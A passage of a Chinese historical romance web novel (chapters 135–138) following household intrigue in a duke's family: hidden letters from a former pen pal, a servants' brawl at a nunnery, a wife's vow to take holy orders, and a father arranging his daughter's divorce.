苏钰的听雨轩和苏略的静怡轩是挨着的,从听雨轩后门出去,穿过一道垂花门就是静怡轩的侧门。 绿川悄悄从后门出去,原本该锁着垂花门竟然是虚掩的,绿川推开门进入,一路畅通无阻到静怡轩。 静怡轩正房的灯亮着,却是静悄悄一片。 绿川直入正房,只见苏略屋里坐着,看到绿川,就招招手显示她进来。 “给主子请安。”绿川跪了下来。 苏略招手示意她起来,“这些年跟在大姑娘身边,你也辛苦了。” “主子救我性命,我为主子分忧,是我的福份。”绿川说着。 苏略轻笑着,绿川并不是苏家的家生子,是他外出时救下来带回府里的。 当时他的年龄并不大,却知道必须得有自己的心腹。才能可以先放一边,忠心是第一位。 幸好知恩图报的人很多,他没看走眼过。 苏辰丢了之后,苏天翊对于主子身边贴身侍侯的下人,尤其是小孩子身边的下人,不管是丫头还是奶妈婆子,都十分谨慎。 不夸张的说,祖宗几代都得查一遍,一遍遍筛选。孩子小没有辩别能力,大人必须得介入。 绿川能到苏钰身边,也是绿川运气好,苏钰看中她了。 但既使不是绿川,苏钰选其他人,也是他的人。 这是苏钰的一种保护,随便一个家生子就当贴身丫头,有时候会带来灭顶之灾。 “薛迟查调了阿钰身边所有的人,他应该怀疑你的身份了。”苏略说着不禁揉揉眉心。 绿川不自觉得咬了下唇,“我侍侯姑娘十来年,从不曾有丝毫懈怠。” 她向苏略尽忠,并不影响她对苏钰的感情。 苏略把她安排在绿川身边,是为了保护苏钰,并不是要害她。 她有两个主子,但两个主子的目标和利益都是一致的,她并不觉得是背叛。 “薛迟既起了疑心,只怕不会轻轻放过。”苏略不禁说着,“阿钰啊,她跟薛迟说什么不好,偏偏把笔友的事情坦白。” 因为绿川的关系,苏钰的一举一动他都知道。 交个笔友不是什么大事,就是出嫁和离闹一回都不是什么大事。 苏略一直知道,不是什么大事,没必要管。 苏钰的笔友是谢无衣,苏略甚至觉得还不错。谢无衣人品性情都可以,将来弄不好还会是大周唯一的异姓王。苏钰嫁他各方面都挺般配。 结果阴差阳错,苏钰跟薛迟相爱了。 薛迟也不错,郎才女貌,将来当皇后,立于权力之巅。 谢无衣也好,薛迟也罢,都是非常优质的夫婿人选。 不管苏钰选哪一个,都是幸福美满的人生。 偏偏苏钰与两个都有瓜葛,这就让人头大了。 苏钰选了薛迟继续交往,苏略本来都松口气了,让谢无衣放手的难度远低于让薛迟放手。 偏偏苏钰又跟薛迟坦白了笔友之事。 苏钰性格单纯,第一次谈恋爱,对男人是全然不了解。可能在她看来,在成亲之前把所有的事情都说清楚,是一种坦白。 坦白之后,这些都将成为过去,他们将来更好的未来。 而现实是,这种想法过份的理想和天真。 不要向男人坦言自己的过去,尤其是感情方面,说一个崩一个。 尤其是薛迟那种男人,全心全意爱他,他又爱苏钰,必然也会全心全意。 但一旦让他查觉到,这份爱意并不是全心全意的,还带着其他男人的气息时,他的反应就会非常不友好。 目前苏略所知道的,薛迟己经开始调查苏钰身边的人,使唤的下人,常来往的朋友。 幸好关子烨己经成亲了,不然都会是麻烦事。 疑心生暗鬼,当薛迟觉得苏钰对他的不够纯粹时,就怀疑所有。 “那些信,找个机会烧掉。”苏略吩咐绿川,“所有痕迹全部抹掉。” 绿川不禁说着,“姑娘很在意那些信件,一直都是好好收着。” 虽然是束之高阁,但她能感觉到苏钰还是很在意的。借用意外烧信,以苏钰对她的信任问题不大。 但烧完之后,只怕苏钰会伤心。 “不能留。”苏略说着。 要是薛迟看到这些信,会疯的。 绿川不敢再说,“是。” “动作一定要快。”苏略又叮嘱着,“还有现在府里进来的人,以及阿钰遇到的人,都要十分留心。” 薛迟查到绿川身上,就是知道绿川是他的人,也不一定会告诉苏钰。 因为苏钰就是知道了,最多跑过来跟他吵吵架,过些日子就过去了。 他最担心的是,薛迟在苏钰身边安排人手。 “主子放心,但凡接近姑娘的人,我都十分留心。”绿川说着。 “回去吧,好好侍侯阿钰。”苏略说着。 “是。”绿川应着,要往走外时,突然回头对苏略说着,“天气虽然渐渐热了,晚上还是冷的,大爷睡觉时要盖好被子,免得着凉。” 第135章 第 135 章 晋阳长公主从来不…… 晋阳长公主从来不信神佛, 哪怕是对莲花庵的圣和师太也只是嘴上恭敬,心里头是不信的。 神佛有什么用,既不能给钱,也不能帮忙, 求一求拜一拜也就是个心理安慰。 直到…… “求菩萨保佑, 让我儿顺如心意。”晋阳长公主跪在蒲团上, 磕头祈求着。 在她身侧, 薛雨梓也跟着磕头,心里也跟着念叨着。 千万别给她说亲事, 让她在公主府当一辈子老姑娘,都不要想起她,也不要过份关心她的婚事。 拜了又拜,薛雨梓扶着晋阳长公主起来,旁边圣和师太敲着木鱼, 念着佛经。 公主府管事送上香火钱,晋阳长公主又朝圣和师太说着,“打扰师太清修。” 圣和师太微笑着, “禅房己备齐, 恭送长公主。” “多劳师太。”晋阳长公主说着, 她有心想跟圣和师太聊上几句。 京城总有人说,圣和师太乃神人, 总能三言两语化解信徒心中的烦恼。 无神论的她希望被圣和师太的神迹点拨, 让她心情能舒展开来,哪怕是言语安慰,也是安慰。 圣和师太并不理会,招来小尼姑上前给晋阳长公主引路,自己却闭目养神, 继续诵经。 晋阳长公主只得跟着小尼姑向后头走,薛雨梓跟在身后。 “我想听大师讲经,你就别跟了,难得出门一趟,四处转转,午饭就在这里吃。”晋阳长公主对薛雨梓说着。 薛雨梓巴不得,她对听经实在没有兴趣,“是。” 晋阳长公主去了禅房,薛雨梓带着丫头婆子四处看看。 这是薛雨梓第一次来莲花庵,对于京城第一庵堂她挺好奇的。 “再往后就是夫人小姐们常来住的厢房。”引路的小尼姑指着最后一进建筑。 薛雨梓明白,因为莲花庵太出名,常有想不开或者需要神佛护佑的夫人小姐来庵里小住。 既然是私人住所,就不过去了,薛雨梓想着。 正想着转头走,就听身后传来一个阴阳怪气的声音,“薛姑娘这是知道我们太太在这里,上赶着就要过来了。啧啧,现在的姑娘家为了嫁得一个好夫婿,真是脸都不要了。” 薛雨梓愣在当场,她在京城小姐堆里是小透明,虽然在有些场合,像关倩倩那种跳的高的千金小姐会挤兑她,但被一个下人婆子阴阳怪气还是第一次。 “你是哪家的下人?在这里大放厥词。”薛雨梓身边的婆子厉声说着。 晋阳长公主府,在京城是数一数二的门第,薛雨梓再是寄养的小姐,也不是随便一个婆子就能阴阳的。 小尼姑小声说着,“是英国公府苏家三太太身边的婆子。” 薛雨梓更惊讶了,看着婆子脱口而出,“你是苏三太太身边侍侯的?” 这是唱哪出啊,薛迟和苏钰都快要成亲了,晋阳长公主府与国公府关系一直也不差。 她与关氏也只是一场公开场合打过照面,没有任何恩怨。 关氏的婆子突然跑过来难为她,实在没有道理。 说话的正是洪婆子,她跟着关氏来到莲花庵,这些天憋了一肚子气,正要出门去抬头就看到薛雨梓带着丫头婆子似要进来的模样。 她原本不认识薛雨梓,但因薛雨梓和苏越共处半夜,她出府打听,特意去看了薛雨梓。 长相平平,更没有气质可言,普通到不能再普通,还寄人篱下。 洪婆子就越发肯定,薛雨梓肯定是想当苏越的正妻才故意为之。 “姑娘都上赶着来讨好巴结了,还装什么。”洪婆子语气越发不客气。 关灵灵与苏越的婚事退掉了,关氏为此气的晕厥了几次。 苏天佑会突然间给苏越退婚,弄不好就是薛雨梓做了什么,有可能的是把两人共处半夜之事当做把柄以此要挟。 薛雨梓想进门,还得关氏点头。这是得知关氏来了莲花庵,赶紧追上来了。 薛雨梓身边的婆子刚想开口骂回去,却被薛雨梓拦住,她大概想到了其中原由。 “我今日是随长公主来庵里烧香,并不知晓苏三太太在此。”薛雨梓说着,“既然知晓了,就该去拜见。” 估摸着关氏怀疑她想勾引苏越,这种事情跟一个婆子吵架是吵不清楚的,不如跟关氏说清楚。 既是误会,解除了即可。 以后公主府少不得跟国公府打交道,闹太僵就不好了。 洪婆子越发阴阳怪气,“啧啧,薛姑娘这脸皮,怪不得四爷经不住你勾搭。” 薛雨梓并不想理会,跟关氏说清楚,事情也就完了。 只是她身边的婆子不干了,晋阳长公主府的人何时吃过这样的亏,当即冷笑道:“当年谁不知道,苏家三太太落水被救,就讹上了救命恩人,舔着脸嫁进苏家。” 这事当年闹的很大,虽然随着关氏嫁给苏天佑平息不少,但京城上点年龄的都知道的。 这婆子也是公主府的老人,京城这些八卦自然是晓的。 洪婆子大怒,气的涨红了脸,上前两个耳光抽向说话的婆子,“什么东西,也敢……” 一语未完,被打的婆子反手一个耳光甩到洪婆子脸上,“什么东西,长公主府的小姐也敢大模大样教训。” 婆子一动手,薛雨梓身边的丫头婆子也跟上了,反倒是洪婆子,一个势单力薄被揪着头发狠打了几个耳光。 洪婆子杀猪一般叫着,想喊人来帮忙。 薛雨梓有心想劝,也是有心无力,这趟来庙里烧香,她只带了随身的大丫头。身边跟的婆子是晋阳长公主的人,她哪里管的住。 眼看着苏家下人听到动静也过来加入战局,幸好都是女眷,也就是揪头发打耳光这些套路,不然这么多人群殴,只怕要打出人命。 “你们在做什么,一个两个的,还不快住手。”听到动静的关氏从屋里出来,看到下人们打成一团,当即上前喝斥。 此时圣和师太,晋阳长公主也赶了过来。 一番训斥后,参与打架的下人全部都跪了下来,薛雨梓也只得跟着跪下。 “佛门清净地,岂容你们乱来。”晋阳长公主怒声骂着,“全部拖出去,乱棍打死。” 关氏愣了一下,不禁看向晋阳长公主,这,这也不至于吧。 原本不欲说话的圣和师太,也不禁看一眼晋阳长公主。 佛门清净地不能打架,更不能杀人。 “我佛慈悲,还是问问她们原由吧。”圣和师太说着。 晋阳长公主怒意减了几分,先给圣和师太陪罪,又怒问原由。 “公主,是国公府的下人先打我的,她羞辱姑娘在先,又动手打了奴婢,奴婢不得己才还手的。”婆子手指着洪婆子,失声痛哭,“求公主开恩。” 晋阳长公主愣了一下,她本以为是下人之间斗嘴,没想到牵扯到薛雨梓,不禁看向薛雨梓。 薛雨梓只得说着,“是苏家三太太误会了,我本欲去解释的,结果就……” “误会?”晋阳长公主愣了一下,看向关氏,“苏三太太认识我这侄女?” 薛雨梓向来不起眼,按理说惹不到关氏。 完全不相干的两个人,为什么会产生误会。 关氏紧抿着唇,欲言又止说着,“认得,前些日子还多亏薛姑娘救助我儿。” 关氏主动提到此事,薛雨梓觉得有必要把话说清楚。 那天她与苏越确实是聊了几句,但也就是多说了几句。不管是她对苏越,还是苏越对她,都没有任何情意。 两人共处半夜之事,只是一个小插曲,谁都不提也就过去了。 关氏的婆子突然跑过来阴阳怪气,肯定不是一个婆子突然发癫,而是关氏也是这么认为的。她虽然是个寄人篱下的孤女,但还不屑于用此手段找丈夫。 关氏会这么想她,也多少有点太自以为是。 真以为自己儿子是个宝,女人看他一眼就是想嫁他,未免想太多。 “苏太太别这么说,当时大家一起活动。我虽与苏四爷说了几句,也都是客套话。”薛雨梓说着,“从头到尾,并没有给与苏四爷任何帮助,更没有瓜葛。” 关氏脸色有些不好看,薛雨梓如此说,倒是显得她自做多情了。 晋阳长公主听出来了,毕竟让薛雨梓跟着苏邑去打猎是她的主意。 她听跟着的侍卫说了,苏越受伤,薛雨梓照顾他了半夜。 也不是什么大事,晋阳长公主都没当回事,没想到关氏当回事了。 “我这个侄女性格良善,别说一个人了,就是猫儿狗儿受了伤,还要掉几滴泪呢。”晋阳长公主笑着说。 “至于婚事,她的婚事自由她叔父做主,也轮不到她想东想西。再是孤女,也是我长公主府的人,家教森严,不会也不敢行差踏错。” 关氏脸色更难看了,若刚才薛雨梓的说词,有可能是担心被晋阳长公主责罚,不得不说的。 那晋阳长公主的话,那就摆明了说,这事都知道,但没有任何想法,是她想多了。 圣和师太听了几句,己猜出前因后果,只觉得十分无趣,“误会既己解开,各自回去领罚吧。” 晋阳长公主笑着道:“还不快谢谢师太,不然你们都得死。” 一时间感激声响起,圣和师太看向晋阳长公主和关氏,“失陪了。” 晋阳长公主真心道歉,“打扰师太清修,我肯定会狠狠罚她们。” 关氏也跟着说,“打扰了。” 圣和师太先行离开,晋阳长公主看一眼关氏,“苏三太太,失陪了。” 说着,晋阳长公主带着薛雨梓和公主府的下人回了前院。 关氏看一眼快被打成猪头的洪婆子,有些心疼,又有些责备,“出门在外,怎么能动手,脸都被你丢尽了。” 洪婆子哭泣说着,“太太不知道,是那薛雨梓张口骂您,我实在气不过,这才动手打了她的婆子。” “胡说,她一个姑娘家,能骂我什么。”关氏不禁说着。 不过刚才听薛雨梓说话,她也听出来了,这也是个有主意的。 再加上晋阳长公主的话,薛雨梓是真没想过嫁给苏越。 是她想白了,白白讨没意思。 “是她提起旧事,说您,说您要挟恩人,不要脸嫁强行嫁入苏家。”洪婆子气愤说着。 关氏只觉得眼前一懵,整个人都晕了过去。 第136章 第 136 章 关氏做梦了,她又…… 关氏做梦了, 她又回到了少女时代,她坐在车上正不知为何而欢喜着。 突然间她落水了,她不懂水性,拼命挣扎着, 耳边传来丫头婆子的叫喊声。 就在水流把她淹没之际, 突然有人伸出手, 把她从水里拉了出来。 好像是想到了什么, 关氏猛得一个机灵,梦醒了, 大声喊着,“不要你救我。” “太太,太太,你吓死老奴了。”洪婆子哭的泪流满面。 她只是把下人说的话安到了薛雨梓说上,是想着把矛盾扩大化, 好给她报仇。 怎么也没想到,关氏直愣愣昏了过去。莲花庵里又没有大夫,下山去请还不知道多久能来。 关氏晕乎乎睁开眼, 看着洪婆子的脸, 意识慢慢回归。 她被苏天佑救了, 她嫁给苏天佑,她生儿育女操持家务。就是与苏天佑早己不和, 她依然尽着正妻的责任。 内里己经千疮百孔, 但至少外面还是能看过去的。苏天佑前程好,又没有庶子庶女,虽然苏玫的婚事丢了一回脸,但都过去了。 她努力了半辈子,结果, 连薛雨梓这种小女孩都敢嘲讽她。 她这一生,到底为了什么。 “太太,您觉得怎么样。”洪婆子慌张说着,“小厮己经去请大夫,您再躺一会。” 关氏摇摇头,声音沙哑,“不需要大夫。” “那就让管事准备车,回府去。”洪婆子说着,“这庙里吃不好睡不好的,也不利于太太养身子。” 洪婆子虽然是下人,但自小跟着关氏,也是半主子,吃穿用度使唤下人,比一般人家的太太还要好。 现在来到莲花庵,庵堂的住宿再好也有限,像关氏这种自然有单独一间房,洪婆子只能跟丫头们一起挤。吃的又都是素,连肉味都没有。 这种日子,洪婆子是一天都过不下去了,只想早点回苏家享福。 关氏摇摇头,径自掀起被子从床上起来,“我想去佛堂念经。” 洪婆子连忙扶住关氏,“您得歇着,等大夫看过了之后再说。” 关氏全然不听,径自往佛堂走着。 洪婆子只得跟上去,见关氏失魂落魄的模样,生怕她摔倒,连忙扶住她。 “小丫头片子的一句话,太太要是生气,就讨回这口气。”洪婆子气愤说着,又有些心虚,“长公主又怎么样,也不能这么欺负人。” 关氏置若罔闻,径自走着。 洪婆子越发着急,想说什么,都不知道要怎么说了。 佛堂很近,快到中饭时间,尼姑们也都去轮流吃饭,偏殿十分安静。 关氏径自在菩萨面前跪下来,说是要理佛,却完全不知道要念什么。 抬头看着佛像,她很想问佛像,她若是虔诚祈祷,神佛是不是就能点化她。 为什么她的人生这么一团糟,到底怎么样才能改变。 因为一个小姑娘的一句话,让她近乎崩溃,多么可笑。 偏偏她就是如此可笑。 从中午跪到下午,关氏好像无知无觉一般,倒是把旁边陪着的洪婆子吓坏了。 连劝都不知道怎么劝,她是真没想到,她只是想让关氏给她挨打之仇,没想到一句话把关氏弄成这样。 早知道会这样,这口气她就咽下去了,再不敢多嘴多舌。 终于快到晚餐时间,圣和师太来了。 关氏的异常,庵里的尼姑跟她说了,她并不想来,却又不想关氏出事。 “师太,我想向神佛许愿,若是能回到过去,我情愿失去性命。”关氏突然说着。 就是梦境里那样,她若是知道后来的故事,她情愿淹死也不让苏天佑救她。 圣和师太轻叹口气,摇摇头,“佛祖帮不了你。” 佛祖不卖后悔药,而且关氏的情况,不是后悔药可以解的。 人生一世谁不犯错,错了就要改正,接受错误产生的后果。 而不愿意接受结果,只想着当初如何如何,反而是另一种偏执。 偏执久了,心性会越发执拗。看不开放不下,吃多少后悔药都没有用。 “我该怎么做。”关氏喃喃自语着。 圣和师太扶着关氏起来,跪的太久,关氏起身时双腿发软,差点摔倒,洪婆子连忙扶起她。 两人到旁边蒲团处坐下来,圣和师太决定给关氏讲讲经,借此劝劝她。 如此讲到晚上,关氏听着似乎是懂了,神情中却带着茫然,突然说着,“师太,我想出家。” 放下放下,她却放不下。 *** 关氏要出家的消息传到国公府时,苏天佑正靠窗看书,听婆子说完,苏天佑微微愣了一下,随即点点头,“她想清静几天,也挺好。” 关氏性格拧巴又想不开,若是莲花庵能让她学会放下,于她也是一件好事。 人这一辈子太长,哪能事事如自己的意,看不开放不下,不管拥有多少,都注定痛苦。 “三太太说,以后就不回来了。”婆子吱唔说着。 苏天佑说着,“随她。” 婆子刚想再说,苏玫突然闯了进来,脸上带着急燥,“父亲!” 那天关氏把她骂走后,她就回了贺家,想着关氏庙里多住几天,心情好些了,她再去劝劝。 亲母女俩,能说的她全都说了,能劝的她都劝了,关氏就是不听。 嘴里总是说,丈夫靠不上,儿女都背叛了她,这一辈子真真白活了。 贺二太太病重,苏玫就是不太情愿,也只是留在贺家。 贺英都准备后事了,贺二太太是随意能闭眼。 突然间,洪婆子打发人给她传话,说关氏要出家。 苏玫吓坏了,连重病的贺二太太都不管了,先去了莲花庵,发现关氏是真要出家。 苏玫六神无主,劝了一会,劝不动就回了苏家,想跟苏天佑商议。 结果刚进门,就听到苏天佑在屋里这么说,苏玫顾不得就直接闯了进来。 “父亲,你对母亲就没有一点感情吗?”苏玫不禁说着。 夫妻十几年,发妻要出家,苏天佑如此反应,实在太冷淡了。 苏天佑叹口气,看向苏玫,“这些天你陪在你母亲身边,她听你说话吗?” 苏玫顿时一滞。 “你母亲并不是真想出家,她希望以此让我让步。”苏天佑说着。 他用和离逼关氏让步,关氏就用出家反逼他。 苏玫也猜出来了,却不禁说着,“我把母亲骗到庙里,母亲就是想回来,也得需要父亲给她搭个台阶。” 苏天佑摇摇头,“你母亲需要的不是台阶,而是听话。” 苏玫顿时不说话了,劝了关氏这么久,自然知道关氏的想法。 关氏需要的确实是听话,丈夫听话,儿女听话,连苏震岳都得听她的,把爵位传给苏越。 这怎么可能。 “你与贺英是不是真的过不下去了?”苏天佑突然说着。 苏玫愣了一下,却不禁低下头。 “与贺英的婚事是我强求来的,让父母丢脸,家族蒙羞,不管什么样的后果,都是我该承担的。” 她想与贺英和离,关氏不让她离。 仔细想想,关氏不让她离也对。 成亲丢了一次人,若是再和离再丢一次人,苏家颜面何在,再惹得父母伤心难过,是她的罪过。 “这些都不管,我只问你,你是不是想跟贺英和离。”苏天佑说着,神色认真。 苏玫又是一愣,有些不解苏天佑为何这么问。 “过不下去就离吧。”苏天佑说着。 苏玫骇然,脸上的惊喜几乎要压不住,却又觉得如此不妥,“我与贺英成亲时,己经闹的很难看了……” “我是你爹,就当我上辈子欠了你的。”苏天估打断苏玫,没好气说着。 苏玫又是一怔,下意识的给苏天佑跪下,眼泪流了下来,边哭边说,“父亲,女儿不孝,总是惹得父母生气,都是我的错。” 从小到大,苏天佑都不大管她和苏越。 对于这个爹,想亲近都不知道该怎么亲近,不接触,脾气又大的活爹,当儿女的也难。 但是在她惹了那么大祸之后,苏天佑竟然允许她和离。 苏天佑摆摆手,示意苏玫起来,“贺二太太身子不好,快要闭眼了。总不能孝期里跟贺英和离,我会亲自出面找贺英。” “你现在就回贺家,把该带走的东西打包收拾好,等和离手续办完,就搬回家里住。” 苏玫愣了一下,“和离有伤体面,我想先去庙里避一避。” “没什么好避的,苏家丢脸的事也不差这一件。”苏天佑说着。 苏玫却不禁道,“父亲如何突然……” 她和贺英不和,应该是全府皆知的,在这个节骨眼上,苏天佑突然让她和离,她真有点好奇原由。 苏天佑沉默一会,叹气道:“只是不想你像我一样,人至中年,儿女都大了,被生活拉扯着,只剩下无奈。” “趁着现在,你年轻,也没有孩子,早点和离早点解脱。将来想嫁人就嫁,不想嫁就留家里,人就这一辈子,早点后悔也是好事。” 关氏离家这些天,苏天佑也在反思自己。 那么多年了,第一次跟关氏提和离,出口之后他既然有种轻松感。 而在轻松之后,也就是那样了。 关氏说他想与杨云娘复合,其实他真没有这种想法,杨云娘也没有。 都不是十几岁的少年少女了,儿女都那么大了,怎么复合,复合之后怎么过。 与其水活泥巴拌稀泥,不如都清清白白的,偶尔见面问声好,还能保留当初那份美好的记忆。 有时候苏天佑都觉得,他这半生好似落入泥潭中,就是挣扎着从泥潭里脱身了,也己经全身泥泞。 往前继续走,看着前程是光明的,却发现只是从泥潭里的挣脱出来,就己经用尽了全部力气。 而这全身的泥泞己经洗不干净,注定要沾染到底。 现在苏玫是踩到泥坑里,刚刚打湿了鞋,及早抽身退步,虽然鞋子还是脏的,至少身上还是干净的。 穿着脏鞋一步步向前走,也许会遇到池塘,洗一洗鞋上的泥巴。 第137章 第 137 章 “三姑奶奶要和离…… “三姑奶奶要和离?”苏钰愣了一下。 绿川点点头, “三老爷先唤来三姑爷,又带着管事去了贺家。” 要是关氏出面,或者苏玫自己闹腾,可能闹一闹还离不了。 现在是苏天佑亲自出面, 是肯定要离了。 “三太太还在莲花庵, 说要出家。”绿川继续说着, “圣和师太没有答应, 只让她暂住莲花庵。” 关氏是关家的女儿,英国公府的三太太, 又有三品诰命在身。 这样的身份,出家不是小事。得夫婿和儿女同意,娘家人也得点头。 “唉,这……”苏钰不知道说什么好。 苏越伤了腿还在养伤,关氏要出家, 苏天佑张罗着给苏玫和离。 估摸着也是想着,现在关氏不在,少了家里的阻力, 事情能办的更顺利些。 苏玫和贺英过到现在, 和离也挺好。 就像苏天佑和关氏这样, 过不下去强撑了这些年,还是过不下去。 绿川道:“三太太多半是闹一闹, 等三老爷过去接她。” “那也得三叔肯去接。”苏钰叹气说着。 有时候一段关系, 强撑着一口气,还能撑到底。一旦这口气断了,就真的断了。 “难道三太太真的……”绿川不禁说着。 当家主母突然出家了,怎么想都觉得不可思议。 下人们也都议论纷纷,怎么说的都有, 觉得关氏没事找事的也不少。 夫家家族前途一片光明,公婆从来不刁难,连每日请安都免了。丈夫没任何恶习,也没有姨娘庶子,儿女也都孝顺。 女人日子过成这样,还有什么好闹的。这样的日子都过不下去,那命苦的岂不是要去跳河。 苏钰叹气道:“谁知道呢。” 要是关氏自己回来,不吵不闹的,继续分居凑和过。 要是关氏想折腾,那肯定不能如愿。 “老太爷和老太太好像不知道。”绿川说着。 一个府里住着,这么大的事怎么可能会知道。 但不管知樱堂还是乐道堂的下人们,都是闭口谏言,苏震岳好像没事人一样。 谷夫人也是一样,她是苏天佑的亲妈,苏天佑也听她的,最有发言权,却是一言不发。 不管是关氏说要出家,还是苏玫要和离,她好像全然不知。 “大概是想三叔自己料理吧。”苏钰说着。 儿子的儿子都要娶媳妇了,再去管儿子和媳妇要不要和离,当父母的估计也觉得不妥当。 当然,这也与苏震岳与谷夫人的性格有关系,开明的父母尊重子孙的选择。 主仆俩正说着,就有婆子进门来报,“公主府的薛雨梓薛姑娘来了,姑娘要见吗?” 苏钰有些意外,却是道:“请她来我屋里。” “是。”婆子答应着去了。 苏钰起身更衣,片刻后,婆子引着薛雨梓进屋。 “冒昧打扰姐姐,还望姐姐恕罪。”薛雨梓笑着说。 苏钰连忙招呼薛雨梓坐下,笑着说,“不打扰,我一个人正无趣呢,恰好你来了。” 绿川端茶上来,客套几句之后,苏钰问,“薛姑娘今天过来,是有什么事吗?” 从进门起,薛雨梓就一副欲言又止的模样,难道是谢无衣强迫她来的? “其实,那天在莲花庵里,我跟着长公主上香,遇到了贵府的三太太。”薛雨梓吱唔说着。 关氏要出家的消息,京城并没有传开。薛雨梓会知道,因为晋阳长公主要在莲花庵供奉香火,留了一个婆子在那里。 婆子往府里传的话,说关氏要出家。 晋阳长公主不太当回事,出家就出家呗,关她什么事。 薛雨梓却觉得这事有点巧,中午时两家的下人才打完架,晚上关氏就要出家,别是有关联。 薛雨梓想了又想,当天的情况,会发生冲突,虽然不是她挑衅,总是因她而起。 怕以后有误会,她想着找个苏家人说明一下情况。没有关联最好,要是有关联,她也先把事情讲了一遍,免得中间有误会。 薛雨梓最熟的苏家人自然是苏钰,以苏钰在苏家的地位,跟她说了,苏家至少知道有这回事了。 “我可以对天发誓,我对苏四爷绝无任何心思。”薛雨梓说着,态度诚恳至极。 苏钰听得愣愣的,见薛雨梓说的如此认真,连忙说,“哪里需要发誓了,我相信你。” 薛雨梓听得松口气,“也是那婆子嘴臭,提了当年的往事,冒犯了苏三太太。我代她道歉。” 婆子是晋阳长公主身边侍侯的,主子厉害,下人就难缠。 “下人打架免不得斗嘴,打也打了,罚也罚了,以后莫要提起。”苏钰说着。 薛雨梓连连说着,“一定不会。” 若是再遇上关氏,她一定绕路走。 事情说开了,薛雨梓心里多少松口气,与苏钰话起了家长。 不过外乎最近看了什么书,家中是否有趣事。闺阁女儿的生活挺无聊的,但无聊也有无聊的好处,总比在婆婆跟前立规矩强。 “这两天府里正给谢大爷收拾行装,过几天就要离京了。”薛雨梓说着。 苏钰愣了一下,心情复杂,“离京?” “去接南魏的使团。”薛雨梓说着,“说是南魏派了太子来,皇上的意思不可怠慢,要派人去迎接,指名要他去。” “噢……”苏钰不自觉得松了口气。 是去办公差,不是彻底离开京城。 薛雨梓对苏钰的反应有些惊讶,她本以为苏钰对谢无衣没什么,是谢无衣单恋。 “建章营骑正在追捕的南魏刺客,我很好奇,正想着找他打听情况。”苏钰笑着说,“乍一听他要离京,还以为是出了什么事。” 那位突然消失的刺客,不止她,苏邑也好奇极了,向城防军借了人,天天带着人四处寻找。 那样的高手,京城又如此大,想找到只怕也不容易。 薛雨梓对刺客之事全然不知,听苏钰讲了全过程,听得也是目瞪口呆。 如此闲聊着,眼看着要到中午,苏钰留她吃饭,薛雨梓笑着道:“我出门时并未回报公主,还得早些回去。” 苏钰会意,薛雨梓的身份,出门不能太久。 就是晋阳长公主不问,公主府里的嬷嬷也会过问。 “闲来无事,只管来找我。”苏钰亲送薛雨梓到二门上。 薛雨梓笑着说,“公主府的聘礼己经在准备了,弄不好年底你就进门,到时候我们姑嫂天天见面。” 苏钰笑着的脸微微呆了一下,随即笑了起来,“是啊,也许年底就能天天见面了。” 薛雨梓上车离开,苏钰这才带着绿川回去。 难得的阳光明媚,苏钰也没坐车,有些漫无目的闲逛着。 “公主府在准备聘礼,我却觉得自己还没准备好。”苏钰有几分自言自语说着。 绿川看着苏钰,忍不住说着,“姑娘还是找个机会,跟谢大人把话说清楚吧。” 苏钰眼中透着无力和迷茫,“说什么呢。” 她己经向薛迟坦白,也打算跟薛迟走下去。这时候再跟谢无衣添一层羁绊…… 这是嫌日子过的太好,给自己找罪受。 主仆俩人散了会步才回到屋里,午饭,午睡,然后到晚饭时间。 快睡觉时,苏钰看向高阁上方,没有看到放信的匣子,问绿川:“信呢。” 绿川道:“放在上面太高,我怕掉下来。索性收在柜子里,姑娘要看吗?” 苏钰愣了愣,好一会才摇摇头,“不看了。” 绿川也不再说什么,侍侯着苏钰睡下。 及至次日,苏钰照常梳洗起床,早饭过后因嫌屋里闷,便去了花园。 绿川没有跟着去,趁着苏钰不在,把屋里的丫头婆子支出去。打开柜子,把装信的匣子拿出来。 苏略的吩咐,一定要把信全部处理掉,择日不如撞日,不然这么多信搁在屋里,总感觉是个隐患。 只是打开匣子,绿川傻眼了。 信呢?信呢? 她记得的清清楚楚,信还是她亲手装的进去,放到柜子里的。 为什么全部不见了? 与此同时,薛迟坐在书房里,厚厚一大堆信件摆在他面前的书桌上。 “全部信件都在这里,一封没少。” 书桌前面,一人跪在地上埋着头,声音沙哑低沉。 薛迟点点头,“下去吧。” 来人好像一抹影子,迅速消失不见。 书房的门再次轻轻关上,薛迟看着桌子上的信件,原本还平静的神情阴了下来。 无法平复的心情,薛迟伸出手,随手抽出一封,拆开,阅读。 熟悉的字迹映入眼睑,满篇文字轻快而跳跃,上面没有一句话是在示爱,字里行间却藏着浓浓的情意。 薛迟了解谢无衣,谢无衣傲慢,从来都是口是心非,却又在相处的细节体现自己的关心。 这样的人,能用如此轻快的口吻给人写信,这何止是爱,应该是非常爱。 苏钰与这样的谢无衣通信两年,苏钰不可能没有感觉。有感觉还能通信两年,苏钰对谢无衣是喜欢的。 只是这样想一下,薛迟就觉得无比窒息,心脏好像被狠狠揪住。 回想起苏钰给他写过的那么多封信,他翻了又翻,看了又看。 他以为这是只属于他的,其实从来就不曾属于他。 第138章 第 138 章 “和离?”贺大老爷满…… “和离?”贺大老爷满脸惊骇的看着苏天佑, 怔怔说不出话来。 女眷们更不必说了,贺老太太好像看到鬼一样,贺大太太甚至脱口而出,“六郎并无过错, 苏家无缘无故要和离, 传出去苏家的名声就完了。” 婚姻非儿戏, 和离也好, 休妻也好,除了另外一方犯了绝对无法原谅的大错, 不然都是要付出代价的。 婚后贺英犯过最大的错,也就是跟孙怜娘闹的那一出,但己经解决了。 就是苏家把孙怜娘翻出来,要给贺英泼脏水,也不是什么大事。因为一个被打发走的爬床表妹, 女方闹和离,谁来评都不占理。 并无过错,苏玫要和离, 苏家必然会被京城贵圈指责, 将来儿子成亲, 女儿出嫁都会有问题。 “苏家的名声不劳外人操心。”苏天佑说着,有几分自嘲说着, “苏家的名声从来没好过, 也不差这一点。” 贺大太太被噎住了,想反驳又不知道如何反驳。 想到云棠,连被拐到青楼里的,给人当过外室生过孩子的女儿,都能大大方方的认回来。 苏家对于名声, 确实是不在意的。 贺大老爷瞪了贺大太太一眼,“这里哪有你说话的份。” 又陪着笑脸对苏天佑说,“亲家老爷别生气,只是好好的,怎么就和离了。要是六郎哪里做的不对,我罚他。” “是我养女不教,任性妄为,从一开始嫁给贺英,这门婚事就是错的。”苏天佑说着,“早些和离,对双方都好。” 贺大爷还欲再说,苏天佑却显得有些不耐烦了,“贺家要是觉得有碍自家名声,写休书也可以,以七出之罪休妻。” 女犯出七出之条,男方休妻理所当然。 